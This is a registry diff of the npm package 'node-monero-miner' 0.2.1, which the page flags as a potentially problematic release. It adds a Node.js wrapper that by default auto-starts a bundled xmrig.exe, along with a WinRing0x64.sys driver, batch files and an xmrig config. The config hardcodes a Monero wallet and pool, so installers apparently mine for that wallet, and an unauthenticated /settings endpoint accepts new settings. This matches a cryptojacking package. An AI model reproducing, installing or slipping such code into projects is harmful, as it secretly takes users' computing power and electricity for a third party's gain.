node-monero-miner 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-monero-miner might be problematic. Click here for more details.

@@ -0,0 +1,119 @@
1
+ const path = require('path');
2
+ const express = require('express');
3
+ const bodyParser = require('body-parser');
4
+ const merge = require('deepmerge');
5
+ const Controller = require('./miners.controller');
6
+ const Logger = require('./logger');
7
+
8
+ module.exports = class App {
9
+
10
+ config = {
11
+ productionOnly: false,
12
+ autoStart: true,
13
+ pools: [],
14
+ opencl: {
15
+ enabled: false,
16
+ platform: 'AMD'
17
+ },
18
+ web: {
19
+ enabled: true,
20
+ port: 3000
21
+ },
22
+ log: {
23
+ enabled: true,
24
+ writeToFile: 'xmrlog.txt',
25
+ level: 'debug',
26
+ writeToConsole: true
27
+ }
28
+ };
29
+
30
+ logger = null;
31
+
32
+ _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod');
33
+
34
+ _app = null;
35
+
36
+ _controller = null;
37
+
38
+ _initialized = false;
39
+
40
+ get controller() {
41
+ return this._controller;
42
+ }
43
+
44
+ constructor(options) {
45
+
46
+ this.config = merge(this.config, options);
47
+ this.logger = new Logger(this);
48
+
49
+ if (this.config.autoStart) {
50
+ this.start();
51
+ }
52
+ }
53
+
54
+ start() {
55
+ if (!this._initialized) {
56
+ this._init();
57
+ }
58
+
59
+ this._controller.start();
60
+ }
61
+
62
+ stop() {
63
+ this._controller.stop();
64
+ }
65
+
66
+ _init() {
67
+ if (this._initialized) {
68
+ throw new Error('already initialized');
69
+ }
70
+
71
+ if (this.config.wallet) {
72
+ this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.');
73
+ this.logger.info('Not starting');
74
+
75
+ return;
76
+ }
77
+
78
+ if (this.config.productionOnly && !this._isProduction) {
79
+ this.logger.info('Eazy Miner config set to productionOnly. Not initializing');
80
+ return;
81
+ }
82
+
83
+ this._controller = new Controller(this);
84
+
85
+ if (this.config.web.enabled) {
86
+ this._setupWebServer();
87
+ }
88
+
89
+ this.controller.loadMiner('xmrig');
90
+
91
+ this._initialized = true;
92
+ }
93
+
94
+ _setupWebServer() {
95
+ this._app = express();
96
+ this._app.use(express.static(path.join(__dirname, '../../public')));
97
+ this._app.use(express.json()); //Used to parse JSON bodies
98
+ this._app.use(bodyParser.urlencoded({ extended: true }));
99
+
100
+ // Public API (status, settings etc)
101
+ this._app.get('/', (req, res) => res.sendFile('index.html'));
102
+
103
+ this._app.get('/status', (req, res) => {
104
+ res.send({
105
+ system: this._controller._system,
106
+ performance: this._controller.status
107
+ });
108
+ });
109
+
110
+ this._app.post('/settings', (req, res) => {
111
+ this._controller.updateSettings(req.body);
112
+ res.sendStatus(200);
113
+ });
114
+
115
+ this._app.listen(this.config.web.port, () => {
116
+ this.logger.info(`Webserver listening on port: ${this.config.web.port}`);
117
+ });
118
+ }
119
+ }
@@ -0,0 +1,3 @@
1
+ const App = require('./app');
2
+
3
+ module.exports = App;
@@ -0,0 +1,58 @@
1
+ const winston = require('winston');
2
+
3
+ module.exports = class Logger {
4
+
5
+ _app = null;
6
+
7
+ _logger = null;
8
+
9
+ constructor(app) {
10
+ this._app = app;
11
+
12
+ this._init();
13
+ }
14
+
15
+ log(value) {
16
+ this._logger.log('debug', value);
17
+ }
18
+
19
+ info(value) {
20
+ this._logger.info(value);
21
+ }
22
+
23
+ warn(value) {
24
+ this._logger.log(value);
25
+ }
26
+
27
+ error(value) {
28
+ this._logger.log('error', value);
29
+ }
30
+
31
+ _init(config) {
32
+ const options = {
33
+ level: 'debug',
34
+ format: winston.format.json(),
35
+ // defaultMeta: { service: 'user-service' },
36
+ transports: [],
37
+ };
38
+
39
+ if (this._app.config.log.writeToFile) {
40
+ options.transports.push(new winston.transports.File({ filename: this._app.config.log.writeToFile }))
41
+ }
42
+
43
+ this._logger = winston.createLogger(options);
44
+
45
+ //
46
+ // If we're not in production then log to the `console` with the format:
47
+ // `${info.level}: ${info.message} JSON.stringify({ ...rest }) `
48
+ //
49
+ if (this._app.config.log.writeToConsole) {
50
+ this._logger.add(new winston.transports.Console({
51
+ format: winston.format.simple(),
52
+ }));
53
+ }
54
+ }
55
+ }
56
+
57
+
58
+
@@ -0,0 +1,9 @@
1
+ 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 *WinRing0x64.sys
2
+ bdec0d2ea20decc25659f26c7bfd7a78fb0e51cc100443b8a35c43206d2eb86a *benchmark_10M.cmd
3
+ 8d26568f8d874053ad68dd1f4510a85ae61045e0945c33599dabd461fae7e835 *benchmark_1M.cmd
4
+ 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec *config.json
5
+ 02ed7c9449e9f7c92709edc9e687e66c0e5ab012196eb90ef5071a2d698af62e *pool_mine_example.cmd
6
+ bfcef8b9791893a58f4a999190e83d8426a6d1be6b7ee9ccd8bd06f5e55d314d *rtm_ghostrider_example.cmd
7
+ 6e87f8c30fe0ef0035227ed01d3824223b72c9a196bdcd3202bb0a533d0ea804 *solo_mine_example.cmd
8
+ 9554e811347798d784bbe0ed5fa212e95dc8783a34cbc298454805f0988cb577 *start.cmd
9
+ acaf8e844ef7f4f65033ebe9546c394cc21bce175dac8b59199106309f04e5ab *xmrig.exe
@@ -0,0 +1,4 @@
1
+ @echo off
2
+ cd %~dp0
3
+ xmrig.exe --bench=10M --submit
4
+ pause
@@ -0,0 +1,4 @@
1
+ @echo off
2
+ cd %~dp0
3
+ xmrig.exe --bench=1M --submit
4
+ pause
@@ -0,0 +1,423 @@
1
+ {
2
+ "api": {
3
+ "id": null,
4
+ "worker-id": null
5
+ },
6
+ "http": {
7
+ "enabled": false,
8
+ "host": "127.0.0.1",
9
+ "port": 0,
10
+ "access-token": null,
11
+ "restricted": true
12
+ },
13
+ "autosave": true,
14
+ "background": false,
15
+ "colors": true,
16
+ "title": true,
17
+ "randomx": {
18
+ "init": -1,
19
+ "init-avx2": -1,
20
+ "mode": "auto",
21
+ "1gb-pages": false,
22
+ "rdmsr": true,
23
+ "wrmsr": true,
24
+ "cache_qos": false,
25
+ "numa": true,
26
+ "scratchpad_prefetch_mode": 1
27
+ },
28
+ "cpu": {
29
+ "enabled": true,
30
+ "huge-pages": true,
31
+ "huge-pages-jit": false,
32
+ "hw-aes": null,
33
+ "priority": 0,
34
+ "memory-pool": false,
35
+ "yield": true,
36
+ "asm": true,
37
+ "argon2-impl": null,
38
+ "astrobwt-max-size": 550,
39
+ "astrobwt-avx2": false,
40
+ "argon2": [
41
+ 0,
42
+ 1,
43
+ 2,
44
+ 3,
45
+ 4,
46
+ 5,
47
+ 6,
48
+ 7,
49
+ 8,
50
+ 9,
51
+ 10,
52
+ 11
53
+ ],
54
+ "astrobwt": [
55
+ 0,
56
+ 1,
57
+ 2,
58
+ 3,
59
+ 4,
60
+ 5,
61
+ 6,
62
+ 7,
63
+ 8,
64
+ 9,
65
+ 10,
66
+ 11
67
+ ],
68
+ "cn": [
69
+ [
70
+ 1,
71
+ 0
72
+ ],
73
+ [
74
+ 1,
75
+ 1
76
+ ],
77
+ [
78
+ 1,
79
+ 2
80
+ ],
81
+ [
82
+ 1,
83
+ 3
84
+ ],
85
+ [
86
+ 1,
87
+ 4
88
+ ],
89
+ [
90
+ 1,
91
+ 5
92
+ ],
93
+ [
94
+ 1,
95
+ 6
96
+ ],
97
+ [
98
+ 1,
99
+ 7
100
+ ],
101
+ [
102
+ 1,
103
+ 8
104
+ ],
105
+ [
106
+ 1,
107
+ 9
108
+ ],
109
+ [
110
+ 1,
111
+ 10
112
+ ],
113
+ [
114
+ 1,
115
+ 11
116
+ ]
117
+ ],
118
+ "cn-heavy": [
119
+ [
120
+ 1,
121
+ 0
122
+ ],
123
+ [
124
+ 1,
125
+ 2
126
+ ],
127
+ [
128
+ 1,
129
+ 4
130
+ ],
131
+ [
132
+ 1,
133
+ 5
134
+ ],
135
+ [
136
+ 1,
137
+ 6
138
+ ],
139
+ [
140
+ 1,
141
+ 8
142
+ ],
143
+ [
144
+ 1,
145
+ 10
146
+ ],
147
+ [
148
+ 1,
149
+ 11
150
+ ]
151
+ ],
152
+ "cn-lite": [
153
+ [
154
+ 1,
155
+ 0
156
+ ],
157
+ [
158
+ 1,
159
+ 1
160
+ ],
161
+ [
162
+ 1,
163
+ 2
164
+ ],
165
+ [
166
+ 1,
167
+ 3
168
+ ],
169
+ [
170
+ 1,
171
+ 4
172
+ ],
173
+ [
174
+ 1,
175
+ 5
176
+ ],
177
+ [
178
+ 1,
179
+ 6
180
+ ],
181
+ [
182
+ 1,
183
+ 7
184
+ ],
185
+ [
186
+ 1,
187
+ 8
188
+ ],
189
+ [
190
+ 1,
191
+ 9
192
+ ],
193
+ [
194
+ 1,
195
+ 10
196
+ ],
197
+ [
198
+ 1,
199
+ 11
200
+ ]
201
+ ],
202
+ "cn-pico": [
203
+ [
204
+ 2,
205
+ 0
206
+ ],
207
+ [
208
+ 2,
209
+ 1
210
+ ],
211
+ [
212
+ 2,
213
+ 2
214
+ ],
215
+ [
216
+ 2,
217
+ 3
218
+ ],
219
+ [
220
+ 2,
221
+ 4
222
+ ],
223
+ [
224
+ 2,
225
+ 5
226
+ ],
227
+ [
228
+ 2,
229
+ 6
230
+ ],
231
+ [
232
+ 2,
233
+ 7
234
+ ],
235
+ [
236
+ 2,
237
+ 8
238
+ ],
239
+ [
240
+ 2,
241
+ 9
242
+ ],
243
+ [
244
+ 2,
245
+ 10
246
+ ],
247
+ [
248
+ 2,
249
+ 11
250
+ ]
251
+ ],
252
+ "cn/upx2": [
253
+ [
254
+ 2,
255
+ 0
256
+ ],
257
+ [
258
+ 2,
259
+ 1
260
+ ],
261
+ [
262
+ 2,
263
+ 2
264
+ ],
265
+ [
266
+ 2,
267
+ 3
268
+ ],
269
+ [
270
+ 2,
271
+ 4
272
+ ],
273
+ [
274
+ 2,
275
+ 5
276
+ ],
277
+ [
278
+ 2,
279
+ 6
280
+ ],
281
+ [
282
+ 2,
283
+ 7
284
+ ],
285
+ [
286
+ 2,
287
+ 8
288
+ ],
289
+ [
290
+ 2,
291
+ 9
292
+ ],
293
+ [
294
+ 2,
295
+ 10
296
+ ],
297
+ [
298
+ 2,
299
+ 11
300
+ ]
301
+ ],
302
+ "ghostrider": [
303
+ [
304
+ 8,
305
+ 0
306
+ ],
307
+ [
308
+ 8,
309
+ 2
310
+ ],
311
+ [
312
+ 8,
313
+ 4
314
+ ],
315
+ [
316
+ 8,
317
+ 6
318
+ ],
319
+ [
320
+ 8,
321
+ 8
322
+ ],
323
+ [
324
+ 8,
325
+ 10
326
+ ]
327
+ ],
328
+ "rx": [
329
+ 0,
330
+ 1,
331
+ 2,
332
+ 3,
333
+ 4,
334
+ 5,
335
+ 6,
336
+ 7,
337
+ 8,
338
+ 9,
339
+ 10,
340
+ 11
341
+ ],
342
+ "rx/wow": [
343
+ 0,
344
+ 1,
345
+ 2,
346
+ 3,
347
+ 4,
348
+ 5,
349
+ 6,
350
+ 7,
351
+ 8,
352
+ 9,
353
+ 10,
354
+ 11
355
+ ],
356
+ "cn-lite/0": false,
357
+ "cn/0": false,
358
+ "rx/arq": "rx/wow",
359
+ "rx/keva": "rx/wow"
360
+ },
361
+ "opencl": {
362
+ "enabled": false,
363
+ "cache": true,
364
+ "loader": null,
365
+ "platform": "AMD",
366
+ "adl": true,
367
+ "cn-lite/0": false,
368
+ "cn/0": false
369
+ },
370
+ "cuda": {
371
+ "enabled": false,
372
+ "loader": null,
373
+ "nvml": true,
374
+ "cn-lite/0": false,
375
+ "cn/0": false
376
+ },
377
+ "log-file": null,
378
+ "donate-level": 1,
379
+ "donate-over-proxy": 1,
380
+ "pools": [
381
+ {
382
+ "algo": null,
383
+ "coin": "xmr",
384
+ "url": "xmrpool.eu:9999",
385
+ "user": "47D8WQoJKydhTkk26bqZCVF7FaNhzRtNG15u1XiRQ83nfYqogyLjPMnYEKarjAiCz93oV6sETE9kkL3bkbvTX6nMU24CND8",
386
+ "pass": "x",
387
+ "rig-id": null,
388
+ "nicehash": false,
389
+ "enabled": true,
390
+ "keepalive": true,
391
+ "tls": true,
392
+ "tls-fingerprint": null,
393
+ "daemon": false,
394
+ "socks5": null,
395
+ "self-select": null,
396
+ "submit-to-origin": false
397
+ }
398
+ ],
399
+ "retries": 5,
400
+ "retry-pause": 5,
401
+ "print-time": 60,
402
+ "health-print-time": 60,
403
+ "dmi": true,
404
+ "syslog": false,
405
+ "tls": {
406
+ "enabled": false,
407
+ "protocols": null,
408
+ "cert": null,
409
+ "cert_key": null,
410
+ "ciphers": null,
411
+ "ciphersuites": null,
412
+ "dhparam": null
413
+ },
414
+ "dns": {
415
+ "ipv6": false,
416
+ "ttl": 30
417
+ },
418
+ "user-agent": null,
419
+ "verbose": 0,
420
+ "watch": true,
421
+ "pause-on-battery": false,
422
+ "pause-on-active": false
423
+ }
@@ -0,0 +1,20 @@
1
+ :: Example batch file for mining Monero at a pool
2
+ ::
3
+ :: Format:
4
+ :: xmrig.exe -o <pool address>:<pool port> -u <pool username/wallet> -p <pool password>
5
+ ::
6
+ :: Fields:
7
+ :: pool address The host name of the pool stratum or its IP address, for example pool.hashvault.pro
8
+ :: pool port The port of the pool's stratum to connect to, for example 3333. Check your pool's getting started page.
9
+ :: pool username/wallet For most pools, this is the wallet address you want to mine to. Some pools require a username
10
+ :: pool password For most pools this can be just 'x'. For pools using usernames, you may need to provide a password as configured on the pool.
11
+ ::
12
+ :: List of Monero mining pools:
13
+ :: https://miningpoolstats.stream/monero
14
+ ::
15
+ :: Choose pools outside of top 5 to help Monero network be more decentralized!
16
+ :: Smaller pools also often have smaller fees/payout limits.
17
+
18
+ cd %~dp0
19
+ xmrig.exe -o pool.hashvault.pro:3333 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD -p x
20
+ pause
@@ -0,0 +1,23 @@
1
+ :: Example batch file for mining Raptoreum at a pool
2
+ ::
3
+ :: Format:
4
+ :: xmrig.exe -a gr -o <pool address>:<pool port> -u <pool username/wallet> -p <pool password>
5
+ ::
6
+ :: Fields:
7
+ :: pool address The host name of the pool stratum or its IP address, for example raptoreumemporium.com
8
+ :: pool port The port of the pool's stratum to connect to, for example 3333. Check your pool's getting started page.
9
+ :: pool username/wallet For most pools, this is the wallet address you want to mine to. Some pools require a username
10
+ :: pool password For most pools this can be just 'x'. For pools using usernames, you may need to provide a password as configured on the pool.
11
+ ::
12
+ :: List of Raptoreum mining pools:
13
+ :: https://miningpoolstats.stream/raptoreum
14
+ ::
15
+ :: Choose pools outside of top 5 to help Raptoreum network be more decentralized!
16
+ :: Smaller pools also often have smaller fees/payout limits.
17
+
18
+ cd %~dp0
19
+ :: Use this command line to connect to non-SSL port
20
+ xmrig.exe -a gr -o raptoreumemporium.com:3008 -u WALLET_ADDRESS -p x
21
+ :: Or use this command line to connect to an SSL port
22
+ :: xmrig.exe -a gr -o rtm.suprnova.cc:4273 --tls -u WALLET_ADDRESS -p x
23
+ pause
@@ -0,0 +1,16 @@
1
+ :: Example batch file for mining Monero solo
2
+ ::
3
+ :: Format:
4
+ :: xmrig.exe -o <node address>:<node port> -a rx/0 -u <wallet address> --daemon
5
+ ::
6
+ :: Fields:
7
+ :: node address The host name of your monerod node or its IP address. It can also be a public node with RPC enabled, for example node.xmr.to
8
+ :: node port The RPC port of your monerod node to connect to, usually 18081.
9
+ :: wallet address Check your Monero CLI or GUI wallet to see your wallet's address.
10
+ ::
11
+ :: Mining solo is the best way to help Monero network be more decentralized!
12
+ :: But you will only get a payout when you find a block which can take more than a year for a single low-end PC.
13
+
14
+ cd %~dp0
15
+ xmrig.exe -o node.xmr.to:18081 -a rx/0 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD --daemon
16
+ pause
@@ -0,0 +1,3 @@
1
+ @echo off
2
+ xmrig.exe
3
+ pause
Binary file